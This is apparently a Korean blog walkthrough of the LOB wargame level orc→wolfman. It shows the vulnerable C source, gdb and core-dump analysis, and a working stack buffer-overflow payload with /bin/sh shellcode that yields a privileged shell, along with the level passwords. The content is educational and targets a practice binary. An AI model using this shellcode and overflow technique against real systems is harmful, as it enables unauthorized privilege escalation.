[해커스쿨 LOB] Level 5: Orc >> Wolfman

두비니

·

2019. 11. 6. 03:16

 

 

 


Level 5. Orc >> Wolfman

Theme: Egghunter + Buffer Hunter


 

 

 

 

로그인합시다

id: orc
pw: cantata

 

 

디렉토리 확인! (bash2도 까먹지 맙시다!)

[orc@localhost orc]$ bash2
[orc@localhost orc]$ ls
wolfman  wolfman.c
[orc@localhost orc]$ cat wolfman.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - wolfman
        - egghunter + buffer hunter
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }
        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);
}

 

조건은 다음과 같네요.

 

1. 환경변수 사용 불가능 (egghunter)

2. 버퍼에 입력 불가능 (buffer hunter)

3. argv[1]의 48번째 바이트는 '\xbf'여야 함 (stack is still your friend)

 

이전 문제에서는 buffer에다가 쉘코드를 입력했는데 이제는 buffer도 이용할 수 없네요..

그러면 쉘코드를 어디에 입력하면 좋을까요? 여기서 잠시 혼자 생각해보면 좋을 것 같습니다.

 

 

보면 strcpy를 통해 argv[1]에서 buffer에 입력하는데, 여기서 buffer hunter는 buffer의 내용만 날려버리기때문에 argv[1]에는 우리가 입력한 값이 그대로 남아있으므로, argv[1]의 주소를 알아내면 되겠습니다.

(+ ret뒤의 공간도 이용해도 좋습니다.)

 

이해가 어렵다면 다음 스택 구조를 봅시다.

 

buffer는 비워지지만, argv[1]자체의 메모리는 비워지지 않기때문에 사용할 수 있다는 개념입니다.

 

+) 혹시나 왜 argc와 argv는 왜 저렇게 쌓이나요?하고 궁금하신 분들

이건 기본적으로 프로그램이 생성될 때 스택 프레임이 어떻게 생성되는지에 대한 이해가 있어야 합니다.

구글링을 해보거나 제가 입이 마르고 닳도록 추천하는 달고나-"해커 지망생이 알아야 할 bof 기초" 라는 문서 읽어보세요. 문서같은 경우는 구글링하면 바로 나옵니당.

 

아무튼, 페이로드는 다음과 같이 작성할 수 있겠죠?

 

 

`python -c 'print "\x90"*19 + "shellcode" + "argv[1]주소"'`

 

 

그럼 argv[1]주소와 shellcode만 구하면 끝인데,

shellcode는 항상 써오던거 쓸것이니 pass.

 

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

 

그러면 argv[1]의 주소는 어떻게 구해야 할까요?

뭐 여러가지 방법이 있지만, 결국 buffer hunter를 진행한 후에 내가 입력한 값이 남아있는 곳이 argv[1]일 것이기 때문에, 이때 breakpoint를 걸어서 레지스터를 확인해주면 되겠다고 생각했습니다.

 

[orc@localhost orc]$ cp wolfman lolfman
[orc@localhost orc]$ gdb -q lolfman
(gdb) disas main
Dump of assembler code for function main:
0x8048500 <main>:       push   %ebp
0x8048501 <main+1>:     mov    %esp,%ebp
...(생략)
0x80485d8 <main+216>:   push   $0x0
---Type <return> to continue, or q <return> to quit---
0x80485da <main+218>:   lea    0xffffffd8(%ebp),%eax
0x80485dd <main+221>:   push   %eax
0x80485de <main+222>:   call   0x8048430 <memset>
0x80485e3 <main+227>:   add    $0xc,%esp
0x80485e6 <main+230>:   leave
0x80485e7 <main+231>:   ret

(gdb) b * main+230
Breakpoint 1 at 0x80485e6

 

우리는 buffer hunter뒤의 상황이 궁금한 것이기때문에 함수 에필로그 바로 직전에 브레이크포인트를 잡았습니다. 이제 값을 집어넣어서 상황을 봅시다

 

(gdb) r `python -c 'print "\x90"*19 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\xbf\xbf\xbf\xbf"'`
Starting program: /home/orc/lolfman `python -c 'print "\x90"*19 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\xbf\xbf\xbf\xbf"'`
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒°
                                       ̀▒▒▒▒

Breakpoint 1, 0x80485e6 in main ()
(gdb) x/100x $esp
0xbffffb1c:     0x00000013      0x00000000      0x00000000      0x00000000
0xbffffb2c:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffb3c:     0x00000000      0x00000000      0x00000000      0x80cd0bb0
0xbffffb4c:     0xbfbfbfbf      0x00000000      0xbffffb94      0xbffffba0
0xbffffb5c:     0x40013868      0x00000002      0x08048450      0x00000000
0xbffffb6c:     0x08048471      0x08048500      0x00000002      0xbffffb94
0xbffffb7c:     0x08048390      0x0804861c      0x4000ae60      0xbffffb8c
0xbffffb8c:     0x40013e90      0x00000002      0xbffffc7d      0xbffffc8f
0xbffffb9c:     0x00000000      0xbffffcc0      0xbffffce2      0xbffffcec
0xbffffbac:     0xbffffcfa      0xbffffd19      0xbffffd25      0xbffffd3e
0xbffffbbc:     0xbffffd57      0xbffffd62      0xbffffd70      0xbffffdaf
0xbffffbcc:     0xbffffdbe      0xbffffdd3      0xbffffde3      0xbffffdec
0xbffffbdc:     0xbffffe07      0xbffffe12      0xbffffe1f      0xbffffe27
0xbffffbec:     0x00000000      0x00000003      0x08048034      0x00000004
0xbffffbfc:     0x00000020      0x00000005      0x00000006      0x00000006
0xbffffc0c:     0x00001000      0x00000007      0x40000000      0x00000008
0xbffffc1c:     0x00000000      0x00000009      0x08048450      0x0000000b
0xbffffc2c:     0x000001f8      0x0000000c      0x000001f8      0x0000000d
0xbffffc3c:     0x000001f8      0x0000000e      0x000001f8      0x00000010
0xbffffc4c:     0x0fabfbff      0x0000000f      0xbffffc78      0x00000000
0xbffffc5c:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffc6c:     0x00000000      0x00000000      0x00000000      0x36383669
0xbffffc7c:     0x6f682f00      0x6f2f656d      0x6c2f6372      0x6d666c6f
---Type <return> to continue, or q <return> to quit---
0xbffffc8c:     0x90006e61      0x90909090      0x90909090      0x90909090
0xbffffc9c:     0x90909090      0xc0319090      0x2f2f6850      0x2f686873
(gdb)

 

일부러 생략없이 전체를 들고왔습니다. 보면 0xbffffb4c에서 그 전의 buffer부분은 buffer hunter에 의해 0으로 초기화가 된 것을 알 수 있고, 0xbffffb4c는 0xbfbfbfbf인걸 보아 ret의 주소네요.

그리고 0xbffffc9c에서 다시 쉘코드가 다시 써지는것으로 보아 저부분이 argv[1]임을 알 수 있습니다! 따라서 저는 0xbffffc9c를 이용하도록 하겠습니다.

 

::페이로드::

./wolfman `python -c 'print "\x90"*19 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x9c\xfc\xff\xbf"'`

 

[orc@localhost orc]$ ./wolfman `python -c 'print "\x90"*19 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x9c\xfc\xff\xbf"'`
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒°
                                       ̀▒▒▒▒
Segmentation fault

음~안되구

 

전 게시글에서도 한번 언급한거 같은데 이는 실제 동적 프로세서와 어느정도 바이너리 주소의 차이가 생겨서 그렇습니다. 이럴때 코드에 주소를 찾는 코드를 삽입해서 풀어도 되지만, core를 사용하는 방법을 훨씬 더 추천합니다. core를 사용하는 방법은 밑 링크 참조.

(링크삽입전)

 

core는 쉽게 말해서 프로그램이 터졌을 때, 어디서 왜 터졌는지 확인할 수 있는 파일을 남겨줍니다. 아무튼 core를 분석합시다.

 

[orc@localhost orc]$ ./lolfman `python -c 'print "\x90"*19 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x90\xfc\xff\xbf"'`
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒°
                                       ̀▒▒▒▒
Segmentation fault (core dumped)
[orc@localhost orc]$ gdb -q -c core
Core was generated by `./lolfman ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒°
                                                                        ̀▒▒▒▒'.
Program terminated with signal 11, Segmentation fault.

 

core를 gdb로 분석하게 하는 명령어는 gdb -q -c core입니다. core의 편한 점은 따로 브레이크포인트를 설정하지 않아도 딱 터진 부분에서 분석할 수 있게 해준다는 점입니다.

#0  0xbffffff4 in ?? ()
(gdb) x/100x $esp
0xbffffb10:     0x00000000      0xbffffb54      0xbffffb60      0x40013868
0xbffffb20:     0x00000002      0x08048450      0x00000000      0x08048471
0xbffffb30:     0x08048500      0x00000002      0xbffffb54      0x08048390
0xbffffb40:     0x0804861c      0x4000ae60      0xbffffb4c      0x40013e90
0xbffffb50:     0x00000002      0xbffffc50      0xbffffc5a      0x00000000
0xbffffb60:     0xbffffc8b      0xbffffc99      0xbffffcb2      0xbffffcd1
0xbffffb70:     0xbffffcf3      0xbffffcfc      0xbffffebf      0xbffffede
0xbffffb80:     0xbffffef7      0xbfffff0c      0xbfffff27      0xbfffff32
0xbffffb90:     0xbfffff3e      0xbfffff46      0xbfffff50      0xbfffff60
0xbffffba0:     0xbfffff6e      0xbfffff7c      0xbfffff8d      0xbfffff98
0xbffffbb0:     0xbfffffa7      0xbfffffe6      0x00000000      0x00000003
0xbffffbc0:     0x08048034      0x00000004      0x00000020      0x00000005
0xbffffbd0:     0x00000006      0x00000006      0x00001000      0x00000007
0xbffffbe0:     0x40000000      0x00000008      0x00000000      0x00000009
0xbffffbf0:     0x08048450      0x0000000b      0x000001f8      0x0000000c
0xbffffc00:     0x000001f8      0x0000000d      0x000001f8      0x0000000e
0xbffffc10:     0x000001f8      0x00000010      0x0fabfbff      0x0000000f
0xbffffc20:     0xbffffc4b      0x00000000      0x00000000      0x00000000
0xbffffc30:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffc40:     0x00000000      0x00000000      0x69000000      0x00363836
0xbffffc50:     0x6f6c2f2e      0x616d666c      0x9090006e      0x90909090
0xbffffc60:     0x90909090      0x90909090      0x90909090      0x50c03190
0xbffffc70:     0x732f2f68      0x622f6868      0xe3896e69      0xe1895350
0xbffffc80:     0x0bb0c289      0xfc9080cd      0x0000bfff      0x00000000
0xbffffc90:     0x00000000      0x00000000      0x00000000      0x00000000

여기도 일부러 디버거의 전문을 넣었습니다. 레지스터를 잘 보면 여기서는 0x90이 0xbffffc50줄에서 시작하는 것을 볼 수 있습니다. 반면에 내가 gdb에서 분석해서 넣은 0xbfffffc90을 보면 그냥 0값으로 차있는 것을 확인할 수 있네요.

그래서 파일이 0xbfffffc90로 뛰었더니 아무것도 없더라,,,이게 뭔 주소냐 하면서 segmentation fault를 띄우는 것입니다.

이런식으로 어느정도 주소의 차이가 생기기 때문에 nop sled를 100개, 1000개씩 와장창 많이 넣습니다. 

 

아무튼 실제 주소는 넉넉잡아 0xbffffc60으로 들고가겠습니다.

 

::final 페이로드::

./wolfman `python -c 'print "\x90"*19 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x60\xfc\xff\xbf"'`

 

[orc@localhost orc]$ ./wolfman `python -c 'print "\x90"*19 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x60\xfc\xff\xbf"'`
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒°
                                       ̀`▒▒▒
bash$ id
uid=504(orc) gid=504(orc) euid=505(wolfman) egid=505(wolfman) groups=504(orc)
bash$ my-pass
euid = 505
love eyuna

다음단계 기릿